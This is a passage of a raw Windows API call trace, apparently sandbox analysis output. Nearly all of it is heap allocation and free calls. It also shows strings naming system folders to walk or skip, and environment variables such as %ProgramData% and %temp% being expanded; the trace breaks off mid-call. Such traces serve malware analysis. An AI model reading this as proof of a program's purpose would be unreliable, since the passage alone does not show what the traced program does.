(HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2c8 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1f8 [0028.406] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c5e8) returned 1 [0028.406] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d248) returned 1 [0028.406] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c630) returned 1 [0028.406] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d238) returned 1 [0028.406] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c678) returned 1 [0028.406] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d228) returned 1 [0028.406] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c6c0) returned 1 [0028.406] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d218) returned 1 [0028.406] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c708) returned 1 [0028.406] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d208) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c750) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d1e8) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c798) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d1f8) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d95058) returned 1 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x20) returned 0x1d95058 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d1f8 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c798 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d1e8 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c750 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d208 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c708 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d218 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c6c0 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d228 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c678 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d238 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c630 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d248 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5e8 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d258) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d268) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d278) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d288) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c168) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d298) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1b0) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2d8) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1f8) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2c8) returned 1 [0028.407] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bc08) returned 1 [0028.407] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x20) returned 0x38bc08 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2c8 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1f8 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2d8 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1b0 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d298 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c168 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d288 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d278 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d268 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d258 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c798) returned 1 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d1f8) returned 1 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c750) returned 1 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d1e8) returned 1 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c708) returned 1 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d208) returned 1 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c6c0) returned 1 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d218) returned 1 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c678) returned 1 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d228) returned 1 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c630) returned 1 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d238) returned 1 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c5e8) returned 1 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d248) returned 1 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d95058) returned 1 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0028.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38dae0 [0028.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c1f8, cbMultiByte=25, lpWideCharStr=0x38dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38db68 [0028.408] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38dae0) returned 1 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d5e8 [0028.408] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d248 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38dae0 [0028.409] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38db68) returned 1 [0028.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38db68 [0028.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c1b0, cbMultiByte=12, lpWideCharStr=0x38db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38dbf0 [0028.409] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38db68) returned 1 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d238 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38db68 [0028.409] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38dbf0) returned 1 [0028.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38dbf0 [0028.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c168, cbMultiByte=8, lpWideCharStr=0x38dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38dc78 [0028.409] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38dbf0) returned 1 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d228 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38dbf0 [0028.409] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38dc78) returned 1 [0028.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38dc78 [0028.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c120, cbMultiByte=6, lpWideCharStr=0x38dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38dd00 [0028.409] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38dc78) returned 1 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d218 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38dc78 [0028.409] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38dd00) returned 1 [0028.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38dd00 [0028.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c240, cbMultiByte=11, lpWideCharStr=0x38dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38dd88 [0028.409] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38dd00) returned 1 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x20) returned 0x38dd00 [0028.409] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d5e8) returned 1 [0028.409] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d208 [0028.410] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38de28 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38dd88) returned 1 [0028.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0028.410] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38deb0 [0028.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c0d8, cbMultiByte=7, lpWideCharStr=0x38deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0028.410] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38df38 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38deb0) returned 1 [0028.410] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d1e8 [0028.410] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38deb0 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38df38) returned 1 [0028.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0028.410] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38df38 [0028.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c288, cbMultiByte=11, lpWideCharStr=0x38df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0028.410] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38dfc0 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38df38) returned 1 [0028.410] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d1f8 [0028.410] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38df38 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38dfc0) returned 1 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1f8) returned 1 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2c8) returned 1 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1b0) returned 1 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2d8) returned 1 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c168) returned 1 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d298) returned 1 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d288) returned 1 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d278) returned 1 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d268) returned 1 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d258) returned 1 [0028.410] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bc08) returned 1 [0028.410] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2800) returned 0x1d92850 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.411] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d5e8 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d258 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.411] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.411] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.411] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d258) returned 1 [0028.411] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d5e8) returned 1 [0028.411] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2800) returned 0x1d92850 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.411] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d5e8 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d258 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.411] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d268 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0028.411] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d278 [0028.411] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.412] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.412] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d288 [0028.412] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.412] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d618 [0028.412] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d298 [0028.412] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c168 [0028.412] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2d8 [0028.412] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1b0 [0028.412] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2c8 [0028.412] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1f8 [0028.412] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2e8 [0028.412] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5e8 [0028.412] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.412] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d258) returned 1 [0028.412] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0028.412] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d268) returned 1 [0028.412] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d278) returned 1 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d288) returned 1 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d5e8) returned 1 [0028.413] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.413] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.413] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.413] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.413] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d5e8 [0028.413] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d288 [0028.413] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.413] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d278 [0028.413] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.413] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d268 [0028.413] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0028.413] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d258 [0028.413] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c168) returned 1 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d298) returned 1 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1b0) returned 1 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2d8) returned 1 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1f8) returned 1 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2c8) returned 1 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c5e8) returned 1 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2e8) returned 1 [0028.413] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d618) returned 1 [0028.414] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d618 [0028.414] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2e8 [0028.414] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5e8 [0028.414] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2c8 [0028.414] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1f8 [0028.414] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2d8 [0028.414] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1b0 [0028.414] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d298 [0028.414] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c168 [0028.414] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.414] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d288) returned 1 [0028.414] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.414] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d278) returned 1 [0028.414] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0028.414] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d268) returned 1 [0028.414] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.414] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d258) returned 1 [0028.414] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d5e8) returned 1 [0028.414] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x1d92850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0028.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0028.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=14, lpWideCharStr=0x38dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0028.415] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x1d92850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0028.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0028.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=10, lpWideCharStr=0x38e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0028.415] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x1d92850, nSize=0x2800 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0028.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=36, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0028.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d92850, cbMultiByte=36, lpWideCharStr=0x38e0d0, cchWideChar=36 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 36 [0028.415] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", 